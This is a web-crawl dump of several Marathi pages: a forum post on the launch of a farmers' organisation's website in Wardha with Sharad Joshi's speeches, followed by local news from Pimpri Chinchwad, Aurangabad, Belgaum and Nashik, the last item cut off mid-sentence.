त्यांना शेतकर्‍यांच्या समस्या कळल्याच नाही. ज्या नेत्याचे वा कार्यकर्त्यांचे पोट हे शेती व्यवसायावर भरत असेल त्यांनाच शेतकर्‍यांच्या खर्‍या वेदना कळतात, समस्येची जाणीव असते आणि तेच शेतकर्‍यांच्या न्यायासाठी पोटतिडकीने भाग घेऊन लढतात, असे प्रतिपादन शेतकरी संघटनेचे प्रणेते शरद जोशी यांनी केले.\nस्थानिक गुजराती भवनात शेतकरी संघटनेच्या वतीने वर्धा जिल्हाध्यक्ष मुटे यांच्या पुढाकाराने 'योद्धा शेतकरी' या संकेतस्थळाच्या उद्घाटनप्रसंगी ते बोलत होते. कार्यक्रमाला उद्घाटक म्हणून आंतरराष्ट्रीय ज्येष्ठ पत्रकार पी.टी. आय चे माजी अध्यक्ष वेदप्रतापजी वैदिक तर अध्यक्षस्थानी ज्येष्ठ संपादक प्रा. सुरेश व्दादशीवार उपस्थित होते.\nशेतकरी संघटनेचे अध्यक्ष रवी देवांग, स्वतंत्र भारत पक्षाचे अध्यक्ष वामन चटप, महिला आघाडी स्वभाप अध्यक्षा सरोज काशीकर, शेतकरी संघटना महिला आघाडी अध्यक्षा शैलेजा देशपांडे, अंजना पाथुरकर, दिनेश शर्मा, शेतकरी संघटना जिल्हाध्यक्ष गंगाधर मुटे, स्वभाप जिल्हाध्यक्ष मधुसूदण हरणे यांची उपस्थिती होती. प्रास्तविक सरोज काशीकर यांनी केले. जिल्हाध्यक्ष मुटे यांच्या प्रयत्नातून फळाला गेलेल्या योद्धा शेतकरी संकेतस्थळाचे उद्घाटन मान्यवरांच्या हस्ते करण्यात आले. तसेच मुटे लिखित 'वांगे अमर रहे' या पुस्तकाचे प्रकाशनही करण्यात आले. उद््घाटनीय भाषणातून महाराष्ट्राच्या भूमीत शरद जोशीसारखे शेतकरी नेते निर्माण होणे म्हणजे अहोभाग्य असल्याचे वैदिक यांनी सांगितले. तर प्रणेते शरद जोशी यांनी या संकेतस्थळाची कल्पना पूर्वीपासूनच मनात होती परंतु काही कारणास्तव पूर्ण होऊ शकली नाही म्हणूनच शेतकरी संघटनेला व नेत्यांना इतर नेत्यांप्रमाणे महत्त्व प्राप्त झाले नाही. ही संकेतस्थळाची इच्छा मुटे यांनी पूर्णत्वास नेल्याने शेतकरी संघटनेला नवी भरारी मिळाली आहे. यामुळे त्यांनी मुटे यांचे अभिनंदन केले. तसेच सर्व कार्यकर्त्यांनी हे संकेतस्थळ चालविण्यासाठी मदत करावी, असे आवाहनही केले. कार्यक्रमाचे अध्यक्ष ज्येष्ठ संपादक सुरेश व्दादशीवार यांनी शरीराने थकलेल्या पण विचाराने अजूनही तरुण असलेल्या शेतकरी नेत्यांचे कार्य पुढे नेण्यासाठी शेतकर्‍यांनी व संघटनेच्या कार्यकर्त्यांनी जबाबदारी स्वीकारावी असे सांगितले. तसेच या संकेतस्थळाने शेतकरी संघटना व तिचे कार्य हे सर्वदुर पसरणार असल्याने सध्या आलेली मरगळ झटकुन शेतकरी संघटनेने पुन्हा नव्याने उभारी घेण्याची गरज व्यक्त केली. शरीराने थकलेल्या पण मनाने आणि विचाराने तरूण असलेल्या नेत्याला आराम देऊन केवळ त्यांच्या मार्गावर कार्यकर्त्यांनी वाटचाल करावी असे सांगितले. येत्या ९ ऑगस्टला हजारोंच्या संख्येने शेतकरी संघटनेचे कार्यकर्ते व शेतकरी छातीवर संघटनेचा लाल बिल्ला लाऊन पुन्हा नव्या जोमाने शेतकर्‍यांच्या हक्काच्या लढाईसाठी मैदानात उतरणार असल्याची माहिती शेतकरी संघटनेचे अध्यक्ष रवी देवांग यांनी दिली. या कार्यक्रमाला महाराष्ट्रातून मोठय़ा प्रमाणात शेतकरी संघटनेचे कार्यकर्ते व शेतकरी उपस्थित झाले होते. पटवर्धन यांच्या बासरी वादनातून 'वैष्णव जन तो तेने कहीए जे पीर परायी जाने रे' या गीताने कार्यक्रमाची सांगता करण्यात आली.\nलोकपाल विधेयकांने काय साध्य होणार\nजिल्हा प्रतिनिधी/ २२ जुलै\nवर्धा : पं. नेहरु प्रणित समाजवादाच्या नावाखाली या देशामध्ये परमीट राज्य आणले.यातूनच मोठय़ा प्रमाणात भ्रष्टाचार बोकाळल्याने सर्वसामान्य माणूस हैराण झाला आहे. याला आळा घालण्यासाठी कायदा करणे महत्वाचे नाही. इतकेच नव्हे तर सध्या गाजत असलेल्या लोकपाल विधेकातूनही हा भ्रष्टाचार संपुष्टात येणार नाही. मग असे विधेयक तयार करून काय साध्य होणार असा सवाल शेतकरी संघटनेचे नेते शरद जोशी यांनी उपस्थित केला. आज वर्धा शहरातील गुजराती भवनात शेतकरी संघटनेच्या वेबसाईटचे उद््घाटन करण्यात आले. त्याप्रसंगी ते बोलत होते.\nयावेळी उद्घाटक म्हणून दिल्ली येथील जेष्ठ पत्रकार वेदप्रताप वेदीक, अध्यक्षस्थानी प्रा. सुरेश द्वादशीवार तर प्रमुख पाहूणे म्हणून अँड. वामनराव चटप, माजी आमदार सरोज काशीकर, शैलेजा देशपांडे, मधुसुधन हरणे, अँड. दिनेश शर्मा, रवी देवांग, अंजना पातुकर व अन्य मान्यवर उपस्थितीत होते. शरद जोशी पुढे म्हणाले, गोखले, न्या. रानडे, टिळक यांच्या काळातील आदर्श आता अस्ताला जात आहे. नेहरुवादी समाजवादाने भ्रष्टाचाराला जन्म दिला. त्याला कायमचा निपटून काढायचा असेल तर राजकीय व्यवस्थेत आमुलाग्र परिवर्तनाची गरज आहे.\nशेतकरी संघटनेने शेतकर्‍यांचे प्रश्न अतिशय गांभिर्याने राज्यकर्त्यांकडे मांडले. हा संपूर्ण इतिहास वेबसाईटच्या माध्यमातून आता जगापर्यंत पोहचणार आहे. ही वेबसाईट शेतकरी संघटनेचे वर्धा जिल्हाध्यक्ष गंगाधर मुटे यांनी तयार केली. यामध्ये संघटनेच्या निर्मितीपासूनचा इतिहास व महत्वपूर्ण माहिती उपलब्ध आहे. जेष्ठ पत्रकार वेदीक म्हणाले, राज्यसत्तेने यथा स्थितीवादाला आधार बनवू नये. जनआंदोलनामुळे संपूर्ण जगात राजकीय सत्तेत बदल होत आहे. या आंदोलनांना समाज परिवर्तनाचे आधार असले पाहिजे. राज्यकर्त्यांवर नियंत्रण ठेवण्याची व्यवस्था आपण अजूनही तयार करू शक लो नाही याबद्दल त्यांनी खंत व्यक्त केली. नवे तंत्रज्ञान शेतीला मारक ठरवू नये असेही ते म्हणाले. प्रा. द्वादशीवार यांनी शरद जोशी यांच्या कार्याचा आढावा घेवून ही संघटना बळकट करण्यासाठी नव्या भूमिका जोशी यांच्या नेतृत्वात अजूनही कायम असल्याचे आवर्जुन नमुद केले. यावेळी गंगाधर मुटे यांनी लिहिलेल्या 'वांगे अमर रहे' या पुस्तकाचे प्रकाशन देखील करण्यात आले आहे.\nकार्यक्रमाला उपस्थितांनी हॉल गच्च भरून गेला होता.\nदीप प्रज्वलन करून कार्यक्रमाची सुरूवात करण्यात आली.\nशेतकरी संघटनेचे जेष्ठ नेते गोविंद जोशी यांनी पाहुण्यांचे स्वागत केले..\nमाजी आमदार आणि स्वभापच्या अध्यक्षा सौ. सरोज काशीकर यांनी प्रस्ताविक केले.\nमाजी आमदार आणि स्वभापचे अध्यक्ष अ‍ॅड वामनराव चटप यांनी पाहुण्यांचा परिचय करून दिला.\nअ‍ॅड दिनेश शर्मा यांनी पाहुण्यांचा परिचय करून दिला.\nमा. वेदप्रताप वैदीक यांनी संकेतस्थळाचे औपचारिक विमोचन केले.\nकार्यक्रमाला उपस्थितांनी हॉल गच्च भरून गेला होता.\nमा. वेदप्रताप वैदीक यांनी संकेतस्थळाचे औपचारिक विमोचन केले.\nसंकेतस्थळाचे अवलोकन करताना मान्यवर.\nकार्यक्रमाला उपस्थितांनी हॉल गच्च भरून गेला होता.\nसंकेतस्थळाचा संक्षिप्त परिचय करून देताना गंगाधर मुटे.\nसंकेतस्थळाचा संक्षिप्त परिचय करून देताना गंगाधर मुटे.\nउद्घाटनपर भाषण करतांना पी.टी.आय या वृत्तसंस्थेचे व नवभारत टाईम्सचे माजी अध्यक्ष मा. वेदप्रतापजी वैदीक.\nसंकेतस्थळाचा संक्षिप्त परिचय करून देताना गंगाधर मुटे.\nगंगाधर मुटे लिखित \"वांगे अमर रहे\" पुस्तकाचे विमोचन करताना मा. शरद जोशी आणि मान्यवर.\nगंगाधर मुटे लिखित \"वांगे अमर रहे\" पुस्तकाचे विमोचन करताना मा. शरद जोशी आणि मान्यवर.\nगंगाधर मुटे लिखित \"वांगे अमर रहे\" पुस्तकाचे विमोचन करताना मा. शरद जोशी आणि मान्यवर.\nशेतकरी संघटनेचे प्रणेते मा. शरद जोशी मार्गदर्शन करतांना.\nप्रा. पांडुरंग भालशंकर यांनी कार्यक्रमाचे संचालन केले.\nमा. सुरेशजी व्दादशीवार अध्यक्षीय भाषण करतांना.\nकार्यक्रमाला महिलांची लक्षणीय उपस्थिती लाभली.\nशेतकरी संघटनेचे अध्यक्ष मा. रवी देवांग यांनी संकेतस्थळाच्या निर्मितीबद्दल गंगाधर मुटे यांचे पुष्पहाराने विशेष अभिनंदन केले.\nशेतकरी संघटनेचे अध्यक्ष मा. रवी देवांग मार्गदर्शन करताना.\nशेतकरी संघटनेच्या महिला आघाडी अध्यक्षा सौ. शैलजा देशपांडे यांनी आभार प्रदर्शन केले.\nवांगे अमर रहे PDF फ़ाईल स्वरुपात वाचण्यासाठी येथे क्लिक करा.\nवा मस्तच झालाय सोहळा...........अभिनंदन........\nहे पुस्तक उलट दिसत आहे.\nचुकून मिरर कॉपी अपलोड झाली\nचुकून मिरर कॉपी अपलोड झाली असावी.\nबघून मुजरा करतोय सर\nशेतकरी संघटना झाली Online\nABP माझा TV बातमी\nपुस्तक मुंबईत ऊपलब्ध आहे का..\n@ बघतोस काय मुजरा कर बळीचे\n@ बघतोस काय मुजरा कर\nबळीचे राज्य येणार आहे हे पुस्तक नव्याने अपलोड केलेय. आता या लिंकवर आपणास वाचता येईल.\nचूक लक्षात आणून दिल्याबद्दल मी आपणास वाकून मुजरा करित आहे.\n@ योगजी, पुस्तक मुंबईत उपलब्ध आहे. पण नेमके कोण्या विक्रेत्याकडे आहे, याविषयी मला माहीती नाही.\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00185.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%85%E0%A4%AD%E0%A4%BF%E0%A4%AF%E0%A4%82%E0%A4%A4%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%82%E0%A4%9A%E0%A5%8D%E0%A4%AF%E0%A4%BE-%E0%A4%9C%E0%A5%8D%E0%A4%9E%E0%A4%BE%E0%A4%A8%E0%A4%BE%E0%A4%9A%E0%A4%BE/", "date_download": "2018-09-25T17:57:21Z", "digest": "sha1:KDAP6VUYSOLDALPKLNQMLCV2KEETJUSP", "length": 11466, "nlines": 72, "source_domain": "pclive7.com", "title": "अभियंत्यांच्या ज्ञानाचा उपयोग करुन घेतला तर भारत महासत्ता होईल – प्रा. बानगुडे पाटील | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड अभियंत्यांच्या ज्ञानाचा उपयोग करुन घेतला तर भारत महासत्ता होईल – प्रा. बानगुडे पाटील\nअभियंत्यांच्या ज्ञानाचा उपयोग करुन घेतला तर भारत महासत्ता होईल – प्रा. बानगुडे पाटील\nपिंपरी (Pclive7.com):- शिक्षणात सृजनशिलतेला आणि नाविण्यतेला महत्व दिले, तर नवनिर्माणाचा ध्यास असणारे अभियंते निर्माण होतील. अशा अभियंत्यांच्या ज्ञानाचा उपयोग येथील राज्यकर्त्यांनी करुन घेतला तर भारत देश जगात तीसरी महासत्ता म्हणून उदयास येईल असा आशावाद कुष्णा खोरे विकास महामंडळाचे उपाध्यक्ष प्रा. नितीन बानगुडे पाटील यांनी व्यक्त केला.\nभोसरी येथे आज भारतरत्न मोक्षगुंडम् विश्वेश्वरैया यांच्या जयंती आणि राष्ट्रीय अभियंता दिनानिमित्त पिंपरी चिंचवड महापालिका व ज्यु. इंजिनिअर्स असोशिएशन, मनपा अभियंता पिंपरी चिंचवड मनपा यांच्या संयुक्त विद्यमाने आयोजित केलेल्या कार्यक्रमातील प्रथम सत्रातील प्रमुख पाहुणे म्हणून प्रा. बानगुडे बोलत होते. यावेळी प्रा. बानगुडे यांच्या हस्ते छत्रपती शिवाजी महाराज यांच्या प्रतिमेस पुष्पहार अर्पण करुन कार्यक्रमाचे उद्‌घाटन करण्यात आले. यावेळी नगरसेवक संदिप वाघेरे, कुंदन गायकवाड, असोशिएशनचे अध्यक्ष जयकुमार गुजर, कार्याध्यक्ष सुनिल बेळगावकर, सचिव संतोष कुदळे, खजिनदार शामसुंदर बनसोडे, सहशहर अभियंता प्रविण तुपे, कार्यकारी अभियंता ज्ञानेश्वर झुंझारे, संजय कुलकर्णी, संजय कांबळे, सतिश इंगळे, मकरंद निकम, डी.एन.गट्टूवार, प्रमोद ओंबासे, पी.पी.पाटील, प्रविण लडकत आदी उपस्थित होते.\nप्रा. बानगुडे पाटील म्हणाले की, भारतात अभियांत्रिकी क्षेत्र प्राचिनकाळापासून अस्तित्वात आहे. साडेतीनशे वर्षांपुर्वी छत्रपती शिवाजी महाराजांनी गड किल्ल्यांची उभारणी करताना पाणी योजना, बंदिस्त गटार योजना, दळणवळण यंत्रणा, संरक्षण यासाठी भौगोलिक व खगोल शास्त्राचा अभ्यास करुन अभियांत्रिकीचा उत्तम वापर केला आहे. त्यांच्या मार्गदर्शनाखाली हिरोजी इंदलकर यांनी आपल्या कार्याच्या प्रती निष्ठा ठेवून दगडादगडात प्रामाणिकपणा भरुन केलेली रायगडाची बांधणी हे उत्तम वास्तुविशारदाचे उदाहरण आहे. समुद्र तटावर उभारलेला सिंधुदुर्ग किल्ला, रत्नागिरी येथे जहाज बांधणी, सुरत मधील छापखाना, जमिन मोजणी व महसूलाची सुधारित पध्दती, खेड शिवापूर येथे बांधलेले महाराष्ट्रातील पहिले धरण हि महाराजांच्या दुरदृष्टीची, सामुहिक शक्तीच्या व्यवस्थापनाची आणि धैर्याची उदाहरणे आहेत. आपले निश्चित ध्येय, उद्दिष्ट गाठण्यासाठी कमीतकमी खर्चात उत्तम नियोजन, कुशल व्यवस्थापन करुन यशस्वी कसे व्हावे यासाठी शिवचरित्राचा अभ्यास करावा. उद्याच्या पिढ्यांना हा समग्र इतिहास कळण्यासाठी गडकोट किल्ल्यांचे संरक्षण केले पाहिजे व हि शिवस्मारके जोपासली पाहिजेत अशी अपेक्षा प्रा. बानगुडे यांनी व्यक्त केली. तसेच भारतरत्न मोक्षगुंडम् विश्वेश्वरैया यांनी शिष्यवृत्ती मिळवून पुण्यात शिक्षण घेतले. खडकवासला धरणाचे अतिरिक्त पाणी अडविण्यासाठी त्यांनी उभारलेला दरवाजा आजही विश्वेश्वरैया दरवाजा म्हणून ओळखला जातो अशीही माहिती प्रा. बानगुडे यांनी दिली.\nस्वागत जयकुमार गुजर, सुत्रसंचालन किरण आंदोरे, पल्लवी ताटे आणि आभार सुनिल बेळगावकर यांनी मानले.\nTags: PCLIVE7.COMPcmc newsअभियंता दिनचिंचवडपिंपरीप्रा. नितीन बानगुडे पाटीलमहापालिका\nअभिनेता देवदत्त नागे यांनी घेतले विलास लांडे यांच्या घरच्या बाप्पाचे दर्शन\nप्रेमसंबधातून युवकाचा खून; सराईत गुन्हेगार गजाआड\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00186.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Aurangabad/municipal-corporation-commissioner-mitmitya/", "date_download": "2018-09-25T16:57:54Z", "digest": "sha1:A6XKW5POK5KTOOJ3ZZVYOMRU5IDGJQAD", "length": 7561, "nlines": 36, "source_domain": "www.pudhari.news", "title": " मिटमिट्यात मनपा आयुक्‍तांना घेरले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Aurangabad › मिटमिट्यात मनपा आयुक्‍तांना घेरले\nमिटमिट्यात मनपा आयुक्‍तांना घेरले\nकचरा डेपोच्या जागेसाठी चाचपणी करण्यासाठी मनपा आयुक्‍तांसह अधिकार्‍यांचे एक पथक शनिवारी सकाळीच मिटमिट्यात धडकले. तेथील सफारी पार्कच्या नियोजित जागेवर कचरा डेपो सुरू करण्याच्या हालचाली मनपाने सुरू केल्या आहेत. याची माहिती मिळताच परिसरातील गावकर्‍यांचा जमाव जमला. या गावकर्‍यांनी मनपा आयुक्‍तांना घेरले. कोणत्याही परिस्थितीत येथे कचरा डेपो सुरू करू देणार नाही, असे गावकर्‍यांनी सांगत विरोध केला. विशेष म्हणजे याच वेळी एक तरुण हातात रॉकेलचे कॅन घेऊन तेथे पोहचला आणि डेपो येथे येत असेल तर मी जाळून घेतो, असे म्हणत त्याने रॉकेल अंगावर ओतून घेण्याचा प्रयत्न केला; परंतु यावेळी नागरिकांनी रोखल्याने अनर्थ टळला.\nमनपाने मिटमिट्यातील आपल्या मालकीच्या गट नंबर 307 मधील नियोजित सफारी पार्कच्या जागेवर हा डेपो हलविण्याच्या हालचाली सुरू केल्या आहेत. त्यासाठी सकाळी साडेनऊ वाजेच्या सुमारास मनपा आयुक्‍त दीपक मुगळीकर, अभियंता सखाराम पानझडे, डॉ. पाटील व इतर अधिकार्‍यांचे पथक सफारी पार्कच्या जागी पोहचले. आयुक्‍तांनी विरोध करणार्‍या या गावकर्‍यांना ‘येथे केवळ कचरा डेपो नाही तर कचर्‍यावर प्रक्रिया करणारा प्रकल्प सुरू करण्यात येईल, त्यातून खतनिर्मिती करण्यात येईल’ असे सांगत समजूत घालण्याचा प्रयत्न केला. मात्र, गावकरी ऐकण्याच्या मनःस्थितीत नव्हते. त्यावेळी एक युवक हातात रॅकेलचा डबा घेऊन आयुक्‍तांसमोर आला. येथे कचरा डेपो आणला तर जाळून घेतो, असे म्हणत त्याने रॉकेल अंगावर ओतून घेण्याचा प्रयत्न केला. त्यावेळी नगरसेवक रावसाहेब आमले व इतर नागरिकांनी त्याला रोखले. त्याची समजूत घातली. तेव्हा तो शांत झाला. कचरा डेपो नाही, येथे सफारी पार्कच व्हावे, या मागणीवर गावकरी ठाम राहिले. शेवटी गावकर्‍यांना विश्‍वासात घेतल्याशिवाय कुठलेही पाऊल उचलणार नाही, असे आश्‍वासन मनपा आयुक्‍तांनी दिले.\nमनपा शाळेची केली पाहणी\nयावेळी नगरसेवक रावसाहेब आमले यांनी मनपा आयुक्‍तांना मिटमिट्यातील मनपाच्या शाळेच्या दुरवस्थेची माहिती दिली आणि शाळेची अवस्था पाहा असे सांगितले. लगेच आयुक्‍तांनी शाळेला भेट दिली. या शाळेत 600 विद्यार्थी आहेत. वर्ग खोल्यांची दुरवस्था झालेली आहे. बसण्यासाठी जागा नाही. पुरेसे शिक्षक नाहीत हे नगरसेवकांनी लक्षात आणून दिले. त्यावर मनपा आयुक्‍तांनी तत्काळ शाळा दुरुस्त करण्यात येईल, असे आश्‍वासन दिले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00186.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/Belgaum-RTO-Chowk-Accident-issue-Three-youths-arrested/", "date_download": "2018-09-25T17:05:15Z", "digest": "sha1:UJAVXRGWF47EVDMB4FECWW4MRYIRJX6I", "length": 4690, "nlines": 34, "source_domain": "www.pudhari.news", "title": " उद्रेक जमावाचा अटक तिघांना | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › उद्रेक जमावाचा अटक तिघांना\nउद्रेक जमावाचा अटक तिघांना\nआरटीओ चौकात टिप्परने दुचाकीस्वार युवकाला चिरडल्यामुळे संतप्त झालेल्या जमावाने टिप्पर पेटवून दिला होता. त्याबद्दल तीन युवकांना पोलिसांनी अटक केली आहे. सीसीटीव्ही चित्रणाचा आधार घेऊन ही कारवाई झाली. मात्र, जमावाचाच उद्रेक झाला असताना, तिघांनाच अटक झाल्यामुळे आश्चर्य व्यक्त होत आहे. टोपी गल्‍लीतील रहिवासी इनायत बशीर अहमद शेख (वय 20) गेल्या सोमवारी आरटीओ चौकात टिप्परच्या धडकेत अपघाती मृत्यु झाला होता. त्यानंतर जमावाने टिप्पर पेटवून दिला. त्याबद्दल अज्ञातांविरोधात गुन्हा दाखल करण्यात आला होता.\nआरटीओ चौकाजवळ लावण्यात आलेल्या सीसीटीव्ही कॅमेर्‍याचे त्यादिवशीचे चित्रण पोलिसांनी तपासून अरिफ नूरअहमद मुल्ला (21 रा.टोपी गल्ली),शहबाज ईकबाल यरगट्टी (19 रा.वीरभद्रनगर) व सलमान खुतबुद्दीन किल्लेदार (19 रा.धामणे) हे टिप्पर पेटवताना आढळून आले. त्या तिघांनाही अटक करुन त्यांची रवानगी हिंडलगा कारागृहात करण्यात आली आहे.दरम्यान त्या दिवशी मोठ्या संख्येने जमलेल्या जमावाने टिप्पर पेटवीले मात्र तीघांनाच अटक झाली याबद्ल आश्‍चर्य व्यक्त होत आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00186.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/3049-People-Representatives-will-be-canceled-in-nashik/", "date_download": "2018-09-25T16:53:28Z", "digest": "sha1:D2JZEKOLAEIQBLAHCTZVBIU6ZUKLBV7L", "length": 10453, "nlines": 43, "source_domain": "www.pudhari.news", "title": " ३,०४९ लोकप्रतिनिधींचे पद रद्द होणार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › ३,०४९ लोकप्रतिनिधींचे पद रद्द होणार\n३,०४९ लोकप्रतिनिधींचे पद रद्द होणार\nमुदतीत जातवैधता प्रमाणपत्र सादर न केलेल्या जिल्ह्यातील 3,049 लोकप्रतिनिधींचे पद रद्द होणार आहे. विशेष म्हणजे पद रद्द होणार्‍या लोकप्रतिनिधींमध्ये जिल्हा परिषदेच्या तीन, तर पंचायत समितीच्या 10 सदस्यांचा समावेश आहे. चांदवडच्या नगराध्यक्षा रेखा गवळी यांची खुर्चीदेखील या निर्णयामुळे जाणार आहे. दरम्यान, नगरपालिका व नगरपंचायतीचे 17 नगरसेवक, तर ग्रामपंचायतीच्या 3,019 सदस्यांवरही पद रद्दची कारवाई होणार आहे. त्यामुळे आगामी काळात जिल्ह्याच्या राजकारणात मोठे भूकंप पाहायला मिळेल.\nसर्वोच्च न्यायालयाने गेल्या महिन्यात एका निकालाच्या सुनावणीवेळी सहा महिन्यांच्या मुदतीत प्रमाणपत्र सादर न केलेल्या लोकप्रतिनिधींचे सदस्यत्व रद्द करण्याचे आदेश दिले होते. दरम्यान, राज्य निवडणूक आयोगाने या आदेशाच्या आधारावर शुक्रवारी (दि.7) सरकारला अशा सदस्यांचे पद तत्काळ रद्द करण्याचे निर्देश दिले आहेत. या निर्णयानुसार महानगरपालिका व जिल्हा परिषदेतील सदस्यांचे पदे ही राज्यस्तरावर रद्द केली जाणार आहेत. तर ग्रामपंचायत सदस्यांच्या कारवाईचे अधिकार जिल्हाधिकार्‍यांकडे देण्यात आले आहेत.\nनाशिक जिल्हा परिषदेच्या एकूण 73 जागांपैकी 53 जागा या राखीव आहेत. राखीव कोट्यातील 53 पैकी 37 सदस्यांनी निवडणुकीच्या वेळी अर्जासोबत जातवैधता प्रमाणपत्र सादर केले होते. तर उर्वरित 16 पैकी 13 सदस्यांनी सहा महिन्यांच्या आत यंत्रणेकडे प्रमाणपत्र सादर केले. दरम्यान, तीन सदस्यांनी वेळेत प्रमाणपत्र दिले नसल्याने त्यांच्या पदावर गंडातर येणार आहे. 15 पंचायत समित्यांमध्ये 146 जागा असून, त्यापैकी 102 जागा या राखीव आहेत. 53 सदस्यांनी उमेदवारी अर्जासोबत प्रमाणपत्र सादर केले होते. 10 सदस्यांनी आजही प्रमाणपत्र दिलेले नाही.\nजिल्ह्यातील 1,365 ग्रामपंचायतींमध्ये एकूण 12 हजार 777 ग्रामपंचायत सदस्य आहेत. यामध्ये आठ हजार 478 जागा राखीव आहेत. राखीव सदस्यांपैकी 4,077 जणांनी उमेदवारी अर्जासह प्रमाणपत्र जोडले. तरी 1,382 जणांनी सहा महिन्यांत प्रमाणपत्र दिले. दरम्यान, राहिलेल्या 3,019 सदस्यांनी आजही प्रमाणपत्र न दिल्याचे समोर आले आहे. त्यामुळे त्यांचे पद जाणार असून, प्रशासनाकडून लवकरच ही सर्व माहिती सरकारकडे सादर केली जाणार आहे. त्यामुळे पंचायत समिती, नगरपालिका, नगरपंचायत व ग्रामपंचायतींमध्ये आगामी काळात मोठ्या घडमोडी होण्याची शक्यता आहे.\nजिल्हा प्रशासनाने दिलेल्या माहितीनूसार 15 नगरपालिका व नगरपंचायतींमधील 17 नगरसेवकांनी निवडणुका होऊन एक ते दीड वर्षाचा कालवधी होऊनही जातवैधता प्रमाणपत्र सादर करण्याची तसदी घेतली नाही. त्यामुळे या सदस्यांवर कारवाई अटळ आहे. कारवाईमध्ये शिवसेनेला सर्वाधिक फटका बसणार असून, त्यांच्या सहा नगरसेवकांचे पद रद्द होणार आहे. त्या खालोखाल भाजपा व अपक्ष प्रत्येकी चार सदस्य आहेत. तर अपक्ष व भाकपाचे प्रत्येकी एक सदस्य आहे.\n.. तर पुन्हा उमेदवारी करता येणार\nपद रद्द झाल्यानंतर रिक्त झालेल्या जागांसाठी पोटनिवडणुकांचा कार्यक्रम निवडणूक आयोगाकडून जाहीर केला जाईल. या पोटनिवडणुकांमध्ये पद रद्द झाल्याची कारवाई केलेल्या सदस्यांना पुन्हा नशीब आजमावता येईल, अशी माहिती सूत्रांनी दिली आहे.\nसहा महिन्यांत 